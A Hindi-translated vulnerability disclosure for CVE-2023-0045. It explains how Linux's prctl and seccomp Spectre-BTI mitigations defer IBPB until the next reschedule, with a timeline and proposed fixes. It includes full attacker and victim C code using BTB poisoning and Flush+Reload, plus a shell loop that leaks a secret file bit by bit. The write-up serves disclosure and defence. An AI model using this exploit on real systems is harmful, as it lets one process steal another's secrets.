
CVE-2023-0045 के लिए PoC और राइट-अप: BTB पॉइज़निंग और Flush+Reload का उपयोग करके Linux prctl/seccomp Spectre-BTI शमन को बायपास करता है और प्रक्रिया रहस्यों को लीक करता है।
José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
Spectre-BTI हमलों की सफलता दर का परीक्षण करते समय, हमने कर्नेल API को शमन के रूप में उपयोग करते हुए एक अजीब पैटर्न का पता लगाया1। हमारे परीक्षणों से पता चला कि लिनक्स कर्नेल syscall के बाद थोड़े समय के लिए प्रक्रिया को उजागर छोड़ते हुए हमले को सही ढंग से कम करने में विफल रहता है।
आगे की जांच से पता चला कि कर्नेल syscall के दौरान तुरंत IBPB जारी नहीं करता है। ib_prctl_set2 फ़ंक्शन कार्य के लिए थ्रेड सूचना फ़्लैग (TIFs) को अपडेट करता है और फ़ंक्शन __speculation_ctrl_update पर SPEC_CTRL MSR को अपडेट करता है, लेकिन IBPB केवल अगले शेड्यूल पर जारी किया जाता है, जब TIF बिट्स की जाँच की जाती है। यह पीड़ित को prctl syscall से पहले BTB में पहले से इंजेक्ट किए गए मानों के प्रति संवेदनशील छोड़ देता है। व्यवहार केवल कार्य के पुनर्निर्धारण के बाद ठीक किया जाता है। इसके अलावा, कर्नेल प्रवेश (स्वयं syscall के कारण) डिफ़ॉल्ट परिदृश्यों में IBPB जारी नहीं करता है (अर्थात, जब कर्नेल retpoline या eIBRS के माध्यम से स्वयं को सुरक्षित रखता है)।
spectre-BTI हमलों को कम करने के लिए prctl निष्पादित करना:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
कर्नेल 5.15 पर ib_prctl_set2 फ़ंक्शन की ओर ले जाता है। जब विकल्प SPEC_DISABLE का उपयोग किया जाता है तो task_set_spec_ib_disable के लिए TIF बिट सेट किया जाता है और task_update_spec_tif कॉल किया जाता है:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* अप्रत्यक्ष शाखा अनुमान हमेशा अनुमत होता है जब
* शमन को बलपूर्वक अक्षम किया जाता है।
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disable set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); कॉल करता है और यदि लक्ष्य कार्य वर्तमान है तो यह speculation_ctrl_update_current(); कॉल करता है:
static void task_update_spec_tif(struct task_struct *tsk)
{
/* वास्तविक TIF बिट्स के अद्यतन को बाध्य करें */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* वर्तमान कार्य के लिए अनुमान नियंत्रण MSR को तुरंत अपडेट करें,
* लेकिन गैर-वर्तमान कार्य के लिए CPU शमन सेट करने में देरी करें
* जब तक कि यह अगली बार शेड्यूल न हो जाए।
*
* यह केवल SECCOMP शमन के लिए हो सकता है। PRCTL के लिए यह
* हमेशा वर्तमान कार्य होता है।
*/
if (tsk == current)
speculation_ctrl_update_current();
}
speculation_ctrl_update_current speculation_ctrl_update रैपर के बाद __speculation_ctrl_update को tifp = ~tifp के साथ निष्पादित करता है, यहाँ STIBP सेट करने के लिए wrmsr का अद्यतन किया जाता है लेकिन कोई IBPB जारी नहीं किया जाता है:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* शमन विधि के आधार पर TIF_SSBD के परिवर्तन को संभालें। */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* केवल TIF_SPEC_IB का मूल्यांकन करें यदि सशर्त STIBP सक्षम है। */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
seccomp syscall भी arch_seccomp_spec_mitigate4 के अंदर शमन के रूप में ib_prctl_set2 का उपयोग करता है, इसलिए seccomp के साथ भी यही परिणाम अपेक्षित है।
जबकि कोड विश्लेषण के माध्यम से हम निश्चित हैं कि शोषण के लिए विंडो मौजूद है, यह स्पष्ट नहीं था कि क्या यह पीड़ित के रहस्य लोड करने और हमलावर के उन्हें लीक करने के लिए पर्याप्त बड़ी थी (चूंकि रहस्यों को prctl कॉल जारी होने तक पीड़ित के पता स्थान में होने की उम्मीद नहीं है)। परीक्षण हार्डवेयर शमन के लिए समर्थन वाली बेयर मेटल मशीन पर किए गए, जिसमें ubuntu 22.04.1 LTS स्थापित था:
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: YES
* CPU indicates IBRS capability: YES (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* CPU indicates IBPB capability: YES (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: YES
* CPU indicates STIBP capability: YES (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
परीक्षण कोड में दो प्रक्रियाएँ होती हैं जो एक ही तर्क कोर पर चलती हैं। हमलावर लगातार BTB को पीड़ित प्रक्रिया पर मौजूद एक spectre गैजेट के पते से जहर देता है। पीड़ित प्रक्रिया यह जाँच कर गलत अनुमान दर को मापती है कि क्या spectre गैजेट फ़ंक्शन द्वारा एक परीक्षण चर तक पहुँचा गया था। यह आमतौर पर निम्नलिखित आउटपुट लौटाता है:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
फिर, हमले को कम करने के लिए PRCTL का उपयोग किया जाता है। प्रोग्राम की शुरुआत में prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); जोड़कर शमन सक्षम किया जा सकता है। यह spectre-BTI हमले को कम करने की उम्मीद है:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
हालांकि, कुछ परीक्षणों ने एक अलग परिणाम दिखाया:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
और 'nice' (प्राथमिकता) बदलने से गलत अनुमान दर प्रभावित होती प्रतीत होती है:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)
यह इंगित करता है कि prctl ने कोड विश्लेषण द्वारा समझे जाने के अनुसार, प्रक्रिया को अगले शेड्यूल के बाद ही संरक्षित किया। इस परीक्षण का एक और अजीब व्यवहार यह है कि गलत शाखा के बाद, अनुमान पथ को सही किया जाना चाहिए और सही मान BTB पर लिखा जाना चाहिए। चूँकि BTB को फिर से जहर देने के लिए सहायक थ्रेड पर कोई अन्य हमलावर नहीं है, इसलिए इतने उच्च गलत अनुमान मान अप्रत्याशित हैं।
यह सुनिश्चित करने के लिए कि यह माप त्रुटि नहीं थी, हमने एक सरल POC बनाया। पीड़ित कोड हमेशा एक फ़ंक्शन पॉइंटर के माध्यम से safe_function निष्पादित करता है जो spectre-BTI हमले के लिए संवेदनशील है। पीड़ित prctl syscall (अंदर protect_me) का उपयोग करके सुरक्षा के लिए कर्नेल से अनुरोध करता है। पीड़ित एक टेक्स्ट फ़ाइल से एक रहस्य भी लोड करता है, यह दर्शाता है कि अन्य syscalls भी TIF बिट की जाँच नहीं करते हैं या एक पुनर्निर्धारण को उत्तेजित नहीं करते हैं जो IBPB को मजबूर करेगा।
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//केवल safe_function कॉल करें
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//इस प्रक्रिया को सुरक्षित करने के लिए prctl कॉल करें
protect_me();
//तब ही रहस्य को मेमोरी में लोड करें
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//ये तर्क safe_function पर कभी उपयोग नहीं किए जाते हैं, लेकिन वे spectre_gadget के हस्ताक्षर से मेल खाते हैं, जिसे कभी कॉल नहीं किया जाना चाहिए
//चूँकि prctl कॉल किया गया है, हमलावर के लिए BTB को जहर देना और रहस्य लीक करना संभव नहीं होना चाहिए
spec(&sharedmem[2000], secret, idx);
}
}
अधिकांश libc फ़ंक्शन हमलावर और पीड़ित के बीच एक सामान्य हेडर में रखे गए थे ताकि spectre_gadget और spec फ़ंक्शन पीड़ित और हमलावर दोनों पर समान मेमोरी पते साझा करें (अन्यथा .GOT प्रविष्टि बनाई जाती है और पते बदल जाते हैं)। यह कोई आवश्यकता नहीं है और शाखाओं को समान पतों पर रखने और पीड़ित संदर्भ का अनुकरण करने के अन्य तरीके हैं, लेकिन यह विधि सरल है।
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];
// यह फ़ंक्शन कुछ नहीं करता है। पीड़ित द्वारा हमेशा कॉल किया जाता है
void safe_function(char *a, char *b, unsigned idx)
{
}
// यह फ़ंक्शन पीड़ित द्वारा कभी कॉल नहीं किया जाता है
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
volatile char d;
if ((secret[idx / 8] >> (idx % 8)) & 1)
d = *addr;
}
// बेहतर परिणामों के लिए सहायक, संभवतः आवश्यक नहीं है लेकिन परीक्षणों को आसान बनाता है
void flush(char *adrs)
{
asm volatile(
"clflush [%0] \n"
:
: "c"(adrs)
:);
}
// यह फ़ंक्शन spectre-BTI हमले के प्रति संवेदनशील है।
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++)
;
codePtr(addr, secret, idx);
}
// फ़ाइल को केवल पढ़ने के लिए मेमोरी में खोलता है जिसका उपयोग साइड चैनल के रूप में किया जा सकता है, लेकिन कोई अन्य COW फ़ाइल जैसे libc भी हो सकती है
char *open_shared_mem()
{
int fd = open("sharedmem", O_RDONLY);
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
// सुनिश्चित करें कि पृष्ठ मेमोरी पर है
volatile char d = res[2100];
return res;
}
// फ़ाइल से रहस्य लोड करें
void load_secret(char *secret)
{
FILE *fp = fopen("secret.txt", "r");
fgets(secret, 20, (FILE *)fp);
}
// पीड़ित को spectre-BTI हमलों से बचाने के लिए prctl कॉल करता है - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
usleep(1000); //आवश्यक नहीं है लेकिन शेड्यूलर पर उपलब्ध समय को रीसेट करता है
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}
// उपयोगिता। सभी उपयोगिता फ़ंक्शन common पर रखे गए हैं ताकि spec फ़ंक्शन पीड़ित और हमलावर दोनों पर समान पते से मेल खाए। यह आवश्यक नहीं है लेकिन परीक्षणों को आसान बनाता है
unsigned string_to_unsigned(char *s)
{
return atoi(s);
}
हमले में BTB को जहर देना शामिल है spec फ़ंक्शन को कॉल करके और इसे safe_function के बजाय spectre_gadget पर शाखा लगाने के लिए बनाना। प्रशिक्षण के बाद पीड़ित प्रक्रिया बनाई जाती है और यह spec निष्पादित करती है जो spectre_gadget पर गलत अनुमान लगाती है जिसे कभी निष्पादित नहीं किया जाना चाहिए। रहस्य को एक क्लासिक flush+reload साइड चैनल के माध्यम से लीक किया जाता है।
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
#define PRINTNUM 1000
unsigned probe(char *adrs)
{
volatile unsigned long time;
asm __volatile__(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" mov esi, eax \n"
" mov eax,[%1] \n"
" lfence \n"
" rdtsc \n"
" sub eax, esi \n"
" clflush [%1] \n"
" mfence \n"
" lfence \n"
: "=a"(time)
: "c"(adrs)
: "%esi", "%edx");
return time;
}
int main(int argc, char *argv[])
{
//spec फ़ंक्शन को safe_function को spectre_gadget से भ्रमित करने दें
codePtr = spectre_gadget;
char dummy;
int hits = 0;
int tries = 0;
char *sharedmem = open_shared_mem();
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
//लक्ष्य को BTB में इंजेक्ट करें
spec(&dummy, &dummy, 0);
//पीड़ित को निष्पादित करने और spectre_gadget पर गलत अनुमान लगाने की अनुमति दें
usleep(1);
//1-बिट flush+reload साइड चैनल की जाँच करें
if (probe((char *)&sharedmem[2000]) < 0x90)
{
printf("+");
}
}
}
चूँकि पीड़ित को एक तर्क प्राप्त होता है जिसका उपयोग साइड चैनल के माध्यम से लीक किए जाने वाले बिट को चुनने के लिए किया जा सकता है, हम हमलावर के निष्पादित होने के दौरान पीड़ित प्रक्रिया को कई बार निष्पादित कर सकते हैं:
taskset -c 0 ./attacker >> result.txt &
for i in {0..144}
do
echo "Leaking bit $i... "
echo -e -n "Leaking bit $i: " >> result.txt
sleep .01
for j in {0..10}
do
taskset -c 0 ./victim $i >/dev/null
done
echo "" >> result.txt
done
python3 parseResult.py
make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)
यह निम्नलिखित टेक्स्ट फ़ाइल छोड़ता है:
Leaking bit 0: +++++++++++
Leaking bit 1:
Leaking bit 2:
Leaking bit 3:
Leaking bit 4:
Leaking bit 5:
Leaking bit 6: ++++++++++
Leaking bit 7:
Leaking bit 8: ++++++++
[...]
ध्यान दें कि बिट 0 और 6 1 हैं, इसलिए पहला वर्ण 0x41(A) होना चाहिए।
एक सरल पायथन स्क्रिप्ट के साथ फ़ाइल को पार्स करने पर पता चलता है:
The secret leaked is: b'Asuper_secret_flag'
जो कि secret.txt में मौजूद सटीक सामग्री है जिसका उपयोग पीड़ित द्वारा किया गया था।
रहस्य लोड करने के बाद seccomp के साथ prctl कॉल को syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); से बदलने से हमले को रोका नहीं जा सकता है। यह अपेक्षित है क्योंकि आंतरिक रूप से दोनों शमन को लागू करने के लिए समान ib_prctl_set फ़ंक्शन का उपयोग करते हैं।
अनुमान नियंत्रण के लिए prctl syscall का वर्तमान कार्यान्वयन उपयोगकर्ता को शमन से पहले निष्पादित होने वाले हमलावरों से बचाने में विफल रहता है। seccomp शमन भी इस परिदृश्य में विफल रहता है।
उपयोगकर्ता-मोड अनुप्रयोगों के लिए, prctl कॉल के बाद एक usleep एक पुनर्निर्धारण को मजबूर करने और सही शमन सुनिश्चित करने के लिए पर्याप्त है। इस हमले के लिए एक संभावित कर्नेल पैच __speculation_ctrl_update3 पर STIBP सेट करने के साथ ही IBPB जारी करना या schedule() कॉल करना है।
दिसंबर 27 2022 - prctl पर अप्रत्याशित व्यवहार का पता चला
दिसंबर 29 2022 - इस राइटअप का पहला संस्करण
दिसंबर 31 2022 - लिनक्स कर्नेल सुरक्षा टीम के साथ साझा किया गया
फरवरी 03 2023 - रिपोर्ट सार्वजनिक रूप से प्रकट की गई: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8
“लिनक्स कर्नेल उपयोगकर्ता-स्थान API गाइड: अनुमान नियंत्रण”। लिंक: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩
"लिनक्स स्रोत कोड" लिंक: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3
"लिनक्स स्रोत कोड" लिंक: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2
"लिनक्स स्रोत कोड" लिंक: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩